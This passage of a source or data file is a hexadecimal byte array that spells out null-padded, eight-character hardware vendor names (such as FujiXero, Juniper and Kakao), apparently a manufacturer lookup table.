0x72, 0x61,\r\n0x46, 0x75, 0x6a, 0x69, 0x58, 0x65, 0x72, 0x6f,\r\n0x42, 0x75, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x70, 0x69, 0x64, 0x65, 0x72, 0x00, 0x00,\r\n0x4f, 0x72, 0x63, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x54, 0x6f, 0x72, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x64, 0x6e, 0x65, 0x74, 0x69, 0x78,\r\n0x43, 0x6f, 0x64, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x46, 0x72, 0x65, 0x64, 0x4b, 0x6f, 0x73, 0x63,\r\n0x46, 0x65, 0x72, 0x72, 0x61, 0x6e, 0x74, 0x69,\r\n0x52, 0x61, 0x63, 0x61, 0x6c, 0x2d, 0x4d, 0x69,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4d, 0x61, 0x63,\r\n0x50, 0x69, 0x78, 0x65, 0x6c, 0x43, 0x6f, 0x6d,\r\n0x44, 0x73, 0x69, 0x44, 0x61, 0x76, 0x69, 0x64,\r\n0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x74, 0x00,\r\n0x55, 0x6e, 0x69, 0x76, 0x61, 0x74, 0x69, 0x6f,\r\n0x42, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x00, 0x00,\r\n0x50, 0x6c, 0x61, 0x6e, 0x6e, 0x69, 0x6e, 0x67,\r\n0x48, 0x79, 0x64, 0x72, 0x61, 0x43, 0x6f, 0x6d,\r\n0x43, 0x6f, 0x72, 0x76, 0x75, 0x73, 0x00, 0x00,\r\n0x43, 0x79, 0x67, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x44, 0x61, 0x69, 0x73, 0x79, 0x00, 0x00, 0x00,\r\n0x45, 0x78, 0x70, 0x65, 0x72, 0x64, 0x61, 0x74,\r\n0x49, 0x6e, 0x73, 0x79, 0x73, 0x74, 0x65, 0x63,\r\n0x4d, 0x69, 0x64, 0x64, 0x6c, 0x65, 0x45, 0x61,\r\n0x45, 0x76, 0x61, 0x6e, 0x73, 0x53, 0x75, 0x74,\r\n0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x73,\r\n0x4d, 0x79, 0x63, 0x72, 0x6f, 0x6e, 0x00, 0x00,\r\n0x56, 0x74, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x46, 0x6f, 0x75, 0x72, 0x50, 0x68, 0x61, 0x73,\r\n0x47, 0x6f, 0x75, 0x6c, 0x64, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x70,\r\n0x53, 0x61, 0x62, 0x65, 0x72, 0x54, 0x65, 0x63,\r\n0x4a, 0x61, 0x72, 0x6f, 0x67, 0x61, 0x74, 0x65,\r\n0x50, 0x6c, 0x65, 0x73, 0x73, 0x65, 0x79, 0x00,\r\n0x53, 0x69, 0x74, 0x61, 0x73, 0x79, 0x73, 0x00,\r\n0x41, 0x67, 0x66, 0x61, 0x50, 0x72, 0x69, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x64, 0x65, 0x73, 0x69, 0x67,\r\n0x52, 0x69, 0x64, 0x67, 0x65, 0x00, 0x00, 0x00,\r\n0x53, 0x47, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x74, 0x74, 0x73, 0x74, 0x3f, 0x00, 0x00,\r\n0x41, 0x63, 0x63, 0x65, 0x6c, 0x54, 0x65, 0x63,\r\n0x53, 0x75, 0x6e, 0x74, 0x65, 0x6b, 0x54, 0x65,\r\n0x57, 0x68, 0x69, 0x74, 0x65, 0x63, 0x68, 0x61,\r\n0x45, 0x78, 0x63, 0x65, 0x6c, 0x61, 0x6e, 0x00,\r\n0x4d, 0x61, 0x74, 0x72, 0x61, 0x44, 0x73, 0x69,\r\n0x58, 0x65, 0x72, 0x6f, 0x78, 0x55, 0x6e, 0x69,\r\n0x54, 0x65, 0x63, 0x6d, 0x61, 0x72, 0x00, 0x00,\r\n0x43, 0x61, 0x73, 0x69, 0x6f, 0x00, 0x00, 0x00,\r\n0x44, 0x64, 0x65, 0x44, 0x61, 0x6e, 0x69, 0x73,\r\n0x50, 0x63, 0x4c, 0x61, 0x6e, 0x54, 0x65, 0x63,\r\n0x54, 0x73, 0x6c, 0x4e, 0x6f, 0x77, 0x52, 0x65,\r\n0x41, 0x63, 0x63, 0x65, 0x6c, 0x6c, 0x00, 0x00,\r\n0x44, 0x72, 0x6f, 0x69, 0x64, 0x57, 0x6f, 0x72,\r\n0x49, 0x6e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,\r\n0x56, 0x69, 0x74, 0x61, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x41, 0x6d, 0x61, 0x6c, 0x67, 0x61, 0x6d, 0x61,\r\n0x43, 0x61, 0x72, 0x6e, 0x65, 0x67, 0x69, 0x65,\r\n0x41, 0x65, 0x73, 0x44, 0x61, 0x74, 0x61, 0x00,\r\n0x43, 0x72, 0x6f, 0x73, 0x66, 0x69, 0x65, 0x6c,\r\n0x56, 0x65, 0x72, 0x69, 0x74, 0x61, 0x73, 0x53,\r\n0x53, 0x65, 0x69, 0x6b, 0x6f, 0x44, 0x65, 0x6e,\r\n0x54, 0x6f, 0x6d, 0x65, 0x6e, 0x45, 0x6c, 0x65,\r\n0x45, 0x6c, 0x78, 0x73, 0x69, 0x00, 0x00, 0x00,\r\n0x49, 0x6d, 0x61, 0x67, 0x65, 0x6e, 0x2f, 0x51,\r\n0x58, 0x79, 0x70, 0x6c, 0x65, 0x78, 0x54, 0x65,\r\n0x4b, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x63, 0x73,\r\n0x50, 0x65, 0x72, 0x66, 0x74, 0x65, 0x63, 0x68,\r\n0x50, 0x79, 0x72, 0x61, 0x6d, 0x69, 0x64, 0x00,\r\n0x58, 0x79, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e,\r\n0x54, 0x61, 0x6e, 0x64, 0x65, 0x6d, 0x2f, 0x53,\r\n0x43, 0x68, 0x69, 0x70, 0x63, 0x6f, 0x6d, 0x00,\r\n0x53, 0x6f, 0x6e, 0x6f, 0x6d, 0x61, 0x00, 0x00,\r\n0x4b, 0x72, 0x67, 0x43, 0x6f, 0x72, 0x70, 0x6f,\r\n0x44, 0x6f, 0x6e, 0x67, 0x67, 0x75, 0x61, 0x6e,\r\n0x41, 0x6d, 0x73, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x61, 0x73, 0x69, 0x6d, 0x6f, 0x00, 0x00,\r\n0x50, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x42, 0x69,\r\n0x53, 0x79, 0x73, 0x6d, 0x69, 0x6b, 0x44, 0x72,\r\n0x4d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x54,\r\n0x47, 0x65, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x65, 0x6c, 0x65, 0x78, 0x53, 0x52, 0x4c,\r\n0x4b, 0x73, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x69, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x55, 0x6e, 0x69, 0x62, 0x72, 0x61, 0x69, 0x6e,\r\n0x41, 0x53, 0x54, 0x68, 0x6f, 0x6d, 0x61, 0x73,\r\n0x57, 0x6f, 0x6e, 0x64, 0x61, 0x6c, 0x69, 0x6e,\r\n0x42, 0x69, 0x6e, 0x63, 0x75, 0x62, 0x65, 0x00,\r\n0x56, 0x69, 0x76, 0x6f, 0x4d, 0x6f, 0x62, 0x69,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x73, 0x65, 0x65,\r\n0x41, 0x70, 0x73, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x4e, 0x61, 0x67, 0x61, 0x6e, 0x6f, 0x4b, 0x65,\r\n0x53, 0x72, 0x64, 0x49, 0x6e, 0x6e, 0x6f, 0x76,\r\n0x43, 0x61, 0x73, 0x77, 0x65, 0x6c, 0x6c, 0x00,\r\n0x43, 0x6f, 0x72, 0x65, 0x65, 0x64, 0x67, 0x65,\r\n0x54, 0x6f, 0x70, 0x61, 0x7a, 0x00, 0x00, 0x00,\r\n0x4a, 0x75, 0x6e, 0x69, 0x6c, 0x61, 0x62, 0x00,\r\n0x53, 0x68, 0x69, 0x6e, 0x6f, 0x64, 0x61, 0x50,\r\n0x57, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x61,\r\n0x47, 0x72, 0x69, 0x64, 0x73, 0x74, 0x6f, 0x72,\r\n0x56, 0x65, 0x6f, 0x2d, 0x4c, 0x61, 0x62, 0x73,\r\n0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x53, 0x68, 0x61,\r\n0x52, 0x61, 0x79, 0x63, 0x6f, 0x72, 0x65, 0x54,\r\n0x48, 0x32, 0x61, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x51, 0x69, 0x6e, 0x67, 0x64, 0x61, 0x6f, 0x54,\r\n0x4f, 0x72, 0x69, 0x6f, 0x6e, 0x44, 0x69, 0x61,\r\n0x45, 0x62, 0x76, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x52, 0x65, 0x63, 0x6f, 0x76, 0x69, 0x73, 0x69,\r\n0x43, 0x6c, 0x69, 0x6e, 0x69, 0x63, 0x61, 0x72,\r\n0x48, 0x69, 0x73, 0x65, 0x6e, 0x73, 0x65, 0x42,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x53, 0x79, 0x73,\r\n0x45, 0x69, 0x74, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x57, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x68, 0x61,\r\n0x4f, 0x62, 0x65, 0x6c, 0x75, 0x78, 0x4f, 0x79,\r\n0x56, 0x69, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x75, 0x74, 0x6f, 0x49, 0x6e, 0x64, 0x75,\r\n0x41, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x76, 0x79, 0x61, 0x7a, 0x6b, 0x6f, 0x6d,\r\n0x51, 0x75, 0x69, 0x6e, 0x74, 0x69, 0x63, 0x00,\r\n0x41, 0x6c, 0x74, 0x61, 0x73, 0x65, 0x63, 0x54,\r\n0x48, 0x6f, 0x6e, 0x67, 0x6b, 0x6f, 0x6e, 0x67,\r\n0x4e, 0x6f, 0x76, 0x61, 0x72, 0x74, 0x69, 0x73,\r\n0x52, 0x79, 0x6f, 0x77, 0x61, 0x45, 0x6c, 0x65,\r\n0x53, 0x66, 0x53, 0x6f, 0x66, 0x74, 0x77, 0x61,\r\n0x48, 0x69, 0x6c, 0x6c, 0x73, 0x53, 0x6f, 0x75,\r\n0x57, 0x69, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x49,\r\n0x49, 0x6b, 0x75, 0x61, 0x69, 0x4e, 0x65, 0x74,\r\n0x4c, 0x65, 0x72, 0x6f, 0x79, 0x41, 0x75, 0x74,\r\n0x53, 0x75, 0x6e, 0x6e, 0x6f, 0x76, 0x6f, 0x49,\r\n0x43, 0x79, 0x63, 0x6c, 0x6f, 0x74, 0x72, 0x6f,\r\n0x42, 0x65, 0x6e, 0x75, 0x56, 0x69, 0x64, 0x65,\r\n0x54, 0x6f, 0x74, 0x75, 0x73, 0x53, 0x6f, 0x6c,\r\n0x43, 0x79, 0x6e, 0x6e, 0x79, 0x49, 0x74, 0x61,\r\n0x41, 0x62, 0x69, 0x63, 0x6f, 0x6d, 0x49, 0x6e,\r\n0x53, 0x77, 0x61, 0x69, 0x76, 0x65, 0x00, 0x00,\r\n0x41, 0x6b, 0x2d, 0x4e, 0x6f, 0x72, 0x64, 0x45,\r\n0x41, 0x73, 0x74, 0x72, 0x6f, 0x6c, 0x45, 0x6c,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x45, 0x6c, 0x65,\r\n0x54, 0x6f, 0x79, 0x6f, 0x75, 0x46, 0x65, 0x69,\r\n0x53, 0x61, 0x6d, 0x74, 0x65, 0x63, 0x41, 0x75,\r\n0x50, 0x72, 0x6f, 0x66, 0x6f, 0x72, 0x6d, 0x61,\r\n0x54, 0x65, 0x63, 0x68, 0x6d, 0x61, 0x6e, 0x45,\r\n0x53, 0x65, 0x65, 0x72, 0x73, 0x54, 0x65, 0x63,\r\n0x53, 0x79, 0x73, 0x74, 0x72, 0x6f, 0x6d, 0x65,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x46,\r\n0x4a, 0x65, 0x62, 0x73, 0x65, 0x65, 0x45, 0x6c,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x48,\r\n0x57, 0x6f, 0x72, 0x6c, 0x64, 0x45, 0x6c, 0x69,\r\n0x53, 0x61, 0x79, 0x6d, 0x65, 0x57, 0x69, 0x72,\r\n0x54, 0x6f, 0x77, 0x65, 0x72, 0x73, 0x74, 0x72,\r\n0x4e, 0x65, 0x74, 0x4f, 0x6e, 0x65, 0x50, 0x61,\r\n0x47, 0x65, 0x74, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x47, 0x6c, 0x6f, 0x62, 0x6f, 0x4d, 0x75, 0x6c,\r\n0x46, 0x6f, 0x68, 0x68, 0x6e, 0x41, 0x75, 0x64,\r\n0x4f, 0x70, 0x65, 0x6e, 0x78, 0x73, 0x42, 0x76,\r\n0x49, 0x65, 0x65, 0x65, 0x31, 0x39, 0x30, 0x31,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x78, 0x4d,\r\n0x4a, 0x61, 0x6e, 0x74, 0x61, 0x72, 0x44, 0x4f,\r\n0x4a, 0x75, 0x6e, 0x69, 0x70, 0x65, 0x72, 0x00,\r\n0x52, 0x69, 0x6e, 0x67, 0x73, 0x6c, 0x69, 0x6e,\r\n0x55, 0x6e, 0x69, 0x71, 0x6f, 0x74, 0x65, 0x71,\r\n0x53, 0x64, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x73, 0x79, 0x73,\r\n0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x45, 0x6c,\r\n0x41, 0x63, 0x6f, 0x75, 0x73, 0x74, 0x69, 0x63,\r\n0x4b, 0x61, 0x6b, 0x61, 0x6f, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x61, 0x68, 0x4e, 0x65, 0x74, 0x77,\r\n0x4e, 0x6f, 0x61, 0x78, 0x54, 0x65, 0x63, 0x68,\r\n0x48, 0x65, 0x6e, 0x67, 0x73, 0x74, 0x6c, 0x65,\r\n0x56, 0x61, 0x6c, 0x75, 0x61, 0x62, 0x6c, 0x65,\r\n0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x69, 0x63,\r\n0x51, 0x69, 0x69, 0x71, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x46, 0x61, 0x6e, 0x76, 0x69, 0x6c, 0x54, 0x65,\r\n0x4f, 0x62, 0x73, 0x65, 0x72, 0x76, 0x61, 0x74,\r\n0x44, 0x6f, 0x6d, 0x65, 0x49, 0x6d, 0x61, 0x67,\r\n0x4d, 0x73, 0x53, 0x65, 0x64, 0x63, 0x6f, 0x00,\r\n0x4d, 0x69, 0x74, 0x72, 0x61, 0x73, 0x74, 0x61,\r\n0x41, 0x73, 0x61, 0x2d, 0x52, 0x74, 0x53, 0x52,\r\n0x43, 0x68, 0x61, 0x75, 0x76, 0x69, 0x6e, 0x41,\r\n0x41, 0x67, 0x6d, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x41, 0x78, 0x69, 0x72, 0x6f, 0x73, 0x00, 0x00,\r\n0x48, 0x79, 0x62, 0x72, 0x6f, 0x61, 0x64, 0x56,\r\n0x4d, 0x75, 0x65, 0x6c, 0x6c, 0x65, 0x72, 0x00,\r\n0x44, 0x6d, 0x65, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x41, 0x78, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x64,\r\n0x57, 0x69, 0x2d, 0x53, 0x75, 0x6e, 0x41, 0x6c,\r\n0x44, 0x6f, 0x6c, 0x69, 0x45, 0x6c, 0x65, 0x6b,\r\n0x4e, 0x69, 0x61, 0x67, 0x61, 0x72, 0x61, 0x56,\r\n0x41, 0x6e, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x48, 0x75, 0x69, 0x5a, 0x68, 0x6f, 0x75, 0x47,\r\n0x53, 0x74, 0x61, 0x6e, 0x6c, 0x65, 0x79, 0x53,\r\n0x50, 0x72, 0x69, 0x6d, 0x65, 0x76, 0x6f, 0x6c,\r\n0x53, 0x68, 0x61, 0x77, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x41, 0x6e, 0x61, 0x72, 0x65, 0x6e, 0x4d, 0x69,\r\n0x4b, 0x65, 0x78, 0x69, 0x61, 0x6e, 0x67, 0x49,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x48, 0x75, 0x61,\r\n0x41, 0x4f, 0x53, 0x6d, 0x69, 0x74, 0x68, 0x57,\r\n0x5a, 0x65, 0x6e, 0x6f, 0x76, 0x69, 0x61, 0x45,\r\n0x41, 0x67, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x61,\r\n0x49, 0x74, 0x65, 0x6c, 0x4d, 0x6f, 0x62, 0x69,\r\n0x4b, 0x61, 0x6d, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x75, 0x75, 0x6e, 0x74, 0x6f, 0x4f, 0x79,\r\n0x54, 0x6f, 0x70, 0x45, 0x69, 0x67, 0x68, 0x74,\r\n0x52, 0x69, 0x63, 0x65, 0x4c, 0x61, 0x6b, 0x65,\r\n0x50, 0x74, 0x50, 0x72, 0x61, 0x73, 0x69, 0x6d,\r\n0x42, 0x6e, 0x73, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x43, 0x6f, 0x6e, 0x73, 0x6f, 0x72, 0x74, 0x43,\r\n0x53, 0x61, 0x6e, 0x6b, 0x6f, 0x73, 0x68, 0x61,\r\n0x42, 0x6c, 0x69, 0x6e, 0x71, 0x57, 0x69, 0x72,\r\n0x43, 0x68, 0x61, 0x6d, 0x65, 0x6c, 0x65, 0x6f,\r\n0x4f, 0x62, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x6e, 0x64, 0x54,\r\n0x47, 0x65, 0x6e, 0x75, 0x73, 0x50, 0x6f, 0x77,\r\n0x4d, 0x61, 0x72, 0x6b, 0x65, 0x74, 0x65, 0x63,\r\n0x44, 0x69, 0x67, 0x69, 0x65, 0x6e, 0x63, 0x65,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x4c,\r\n0x44, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x49, 0x6e,\r\n0x4a, 0x6d, 0x2d, 0x44, 0x61, 0x74, 0x61, 0x00,\r\n0x55, 0x62, 0x65, 0x65, 0x49, 0x6e, 0x74, 0x65,\r\n0x54, 0x63, 0x74, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x4d, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, 0x00,\r\n0x45, 0x75, 0x63, 0x61, 0x73, 0x74, 0x00, 0x00,\r\n0x57, 0x75, 0x78, 0x69, 0x59, 0x73, 0x74, 0x65,\r\n0x43, 0x75, 0x72, 0x72, 0x61, 0x6e, 0x74, 0x00,\r\n0x53, 0x75, 0x6d, 0x6d, 0x65, 0x72, 0x49, 0x6e,\r\n0x53, 0x61, 0x6d, 0x77, 0x69, 0x6e, 0x48, 0x6f,\r\n0x41, 0x73, 0x63, 0x6f, 0x4e, 0x75, 0x6d, 0x61,\r\n0x41, 0x69, 0x72, 0x65, 0x6e, 0x65, 0x74, 0x77,\r\n0x45, 0x61, 0x73, 0x74, 0x72, 0x69, 0x76, 0x65,\r\n0x45, 0x64, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x46,\r\n0x53, 0x70, 0x72, 0x69, 0x6e, 0x67, 0x77, 0x61,\r\n0x41, 0x6d, 0x69, 0x6d, 0x6f, 0x6e, 0x00, 0x00,\r\n0x41, 0x78, 0x69, 0x75, 0x6d, 0x54, 0x65, 0x63,\r\n0x49, 0x6e, 0x61, 0x6c, 0x61, 0x54, 0x65, 0x63,\r\n0x44, 0x68, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x46, 0x6f, 0x78, 0x43, 0x72, 0x79, 0x70, 0x74,\r\n0x42, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x6c, 0x69,\r\n0x45, 0x6c, 0x69, 0x6d, 0x6f, 0x73, 0x53, 0x72,\r\n0x41, 0x6e, 0x61, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x4d, 0x61, 0x6c, 0x67, 0x6e, 0x54, 0x65, 0x63,\r\n0x4a, 0x61, 0x76, 0x61, 0x49, 0x6e, 0x66, 0x6f,\r\n0x45, 0x6d, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x65,\r\n0x41, 0x69, 0x72, 0x6f, 0x68, 0x61, 0x54, 0x65,\r\n0x53, 0x75, 0x73, 0x65, 0x4c, 0x69, 0x6e, 0x75,\r\n0x44, 0x45, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x70, 0x70, 0x6c, 0x65, 0x41, 0x2f, 0x55,\r\n0x4c, 0x61, 0x6f, 0x6e, 0x70, 0x65, 0x6f, 0x70,\r\n0x41, 0x73, 0x68, 0x6c, 0x65, 0x79, 0x42, 0x75,\r\n0x4a, 0x61, 0x6e, 0x6f, 0x6d, 0x65, 0x53, 0x65,\r\n0x50, 0x6f, 0x6d, 0x64, 0x65, 0x76, 0x69, 0x63,\r\n0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x53, 0x65,\r\n0x45, 0x6d, 0x62, 0x65, 0x64, 0x69, 0x61, 0x6e,\r\n0x4e, 0x65, 0x63, 0x43, 0x61, 0x73, 0x69, 0x6f,\r\n0x46, 0x75, 0x47, 0x61, 0x6e, 0x67, 0x45, 0x6c,\r\n0x4d, 0x63, 0x63, 0x61, 0x69, 0x6e, 0x00, 0x00,\r\n0x56, 0x69, 0x76, 0x6f, 0x49, 0x6e, 0x74, 0x65,\r\n0x4b, 0x6f, 0x72, 0x69, 0x6e, 0x73, 0x00, 0x00,\r\n0x49, 0x74, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x75, 0x73, 0x74, 0x65, 0x63, 0x49, 0x6e,\r\n0x45, 0x6c, 0x6d, 0x6f, 0x4d, 0x6f, 0x74, 0x69,\r\n0x38, 0x6d, 0x65, 0x73, 0x68, 0x4e, 0x65, 0x74,\r\n0x5a, 0x65, 0x72, 0x6f, 0x64, 0x65, 0x73, 0x6b,\r\n0x54, 0x76, 0x69, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x6f, 0x72, 0x69, 0x6f, 0x6e, 0x00, 0x00,\r\n0x58, 0x69, 0x6d, 0x65, 0x61, 0x00, 0x00, 0x00,\r\n0x4c, 0x6f, 0x6f, 0x78, 0x63, 0x69, 0x65, 0x00,\r\n0x43, 0x61, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x69, 0x6d, 0x6c, 0x69, 0x6e, 0x6b, 0x41,\r\n0x48, 0x66, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x6d, 0x61, 0x78,\r\n0x53, 0x68, 0x61, 0x61, 0x6e, 0x78, 0x69, 0x48,\r\n0x4e, 0x6f, 0x72, 0x70, 0x68, 0x6f, 0x6e, 0x69,\r\n0x4c, 0x6e, 0x74, 0x2d, 0x41, 0x75, 0x74, 0x6f,\r\n0x46, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x69, 0x63,\r\n0x48, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x4b,\r\n0x54, 0x6f, 0x6e, 0x61, 0x6c, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x62, 0x49, 0x74, 0x61, 0x6c, 0x69,\r\n0x50, 0x65, 0x72, 0x6d, 0x61, 0x2d, 0x50, 0x69,\r\n0x44, 0x75, 0x72, 0x6f, 0x62, 0x79, 0x74, 0x65,\r\n0x41, 0x64, 0x61, 0x74, 0x69, 0x73, 0x00, 0x00,\r\n0x41, 0x64, 0x66, 0x77, 0x65, 0x62, 0x43, 0x6f,\r\n0x43, 0x6f, 0x72, 0x65, 0x42, 0x72, 0x61, 0x6e,\r\n0x49, 0x71, 0x73, 0x69, 0x6d, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x2d, 0x53, 0x6f, 0x6c, 0x4e, 0x69,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x54, 0x65, 0x6c,\r\n0x54, 0x65, 0x6c, 0x6c, 0x65, 0x73, 0x63, 0x6f,\r\n0x45, 0x6f, 0x63, 0x65, 0x6c, 0x6c, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x76, 0x69, 0x74, 0x53, 0x69,\r\n0x55, 0x26, 0x55, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x4f, 0x6c, 0x69, 0x76, 0x65, 0x44, 0x6f, 0x76,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x65, 0x76,\r\n0x44, 0x61, 0x72, 0x75, 0x6d, 0x61, 0x54, 0x65,\r\n0x52, 0x61, 0x6f, 0x6e, 0x69, 0x78, 0x00, 0x00,\r\n0x4d, 0x65, 0x67, 0x61, 0x62, 0x79, 0x74, 0x65,\r\n0x54, 0x6f, 0x73, 0x69, 0x62, 0x6f, 0x78, 0x4f,\r\n0x42, 0x61, 0x69, 0x64, 0x75, 0x4f, 0x6e, 0x6c,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x43, 0x72,\r\n0x53, 0x6b, 0x4d, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x43,\r\n0x42, 0x61, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x6f, 0x77, 0x65, 0x69, 0x54, 0x65, 0x63,\r\n0x50, 0x6c, 0x61, 0x73, 0x74, 0x6f, 0x66, 0x6f,\r\n0x4c, 0x69, 0x6b, 0x61, 0x53, 0x72, 0x6c, 0x00,\r\n0x47, 0x61, 0x6e, 0x61, 0x49, 0x26, 0x43, 0x00,\r\n0x51, 0x2d, 0x4c, 0x61, 0x62, 0x00, 0x00, 0x00,\r\n0x42, 0x6c, 0x75, 0x2d, 0x52, 0x61, 0x79, 0x44,\r\n0x55, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x69, 0x6f, 0x53, 0x6f, 0x75, 0x6e, 0x64,\r\n0x44, 0x6f, 0x6d, 0x69, 0x6e, 0x6f, 0x55, 0x6b,\r\n0x4d, 0x69, 0x64, 0x61, 0x73, 0x4b, 0x6c, 0x61,\r\n0x50, 0x72, 0x65, 0x63, 0x69, 0x61, 0x00, 0x00,\r\n0x4c, 0x69, 0x76, 0x65, 0x72, 0x6f, 0x63, 0x6b,\r\n0x41, 0x78, 0x69, 0x6d, 0x75, 0x6d, 0x50, 0x72,\r\n0x46, 0x69, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x44, 0x65,\r\n0x4d, 0x61, 0x78, 0x77, 0x61, 0x79, 0x45, 0x6c,\r\n0x51, 0x69, 0x48, 0x61, 0x72, 0x64, 0x77, 0x61,\r\n0x53, 0x65, 0x6f, 0x68, 0x77, 0x61, 0x54, 0x65,\r\n0x41, 0x70, 0x72, 0x4c, 0x6c, 0x63, 0x00, 0x00,\r\n0x4b, 0x77, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x6e,\r\n0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x65,\r\n0x50, 0x68, 0x61, 0x73, 0x65, 0x73, 0x70, 0x61,\r\n0x43, 0x61, 0x6e, 0x6f, 0x67, 0x61, 0x50, 0x65,\r\n0x54, 0x6e, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x72, 0x69, 0x64, 0x63, 0x6f, 0x00, 0x00,\r\n0x54, 0x33, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61,\r\n0x52, 0x65, 0x61, 0x63, 0x68, 0x65, 0x6e, 0x67,\r\n0x4b, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x65, 0x6e,\r\n0x53, 0x68, 0x61, 0x6e, 0x79, 0x45, 0x6c, 0x65,\r\n0x4d, 0x69, 0x72, 0x75, 0x73, 0x79, 0x73, 0x74,\r\n0x53, 0x6e, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x62, 0x72, 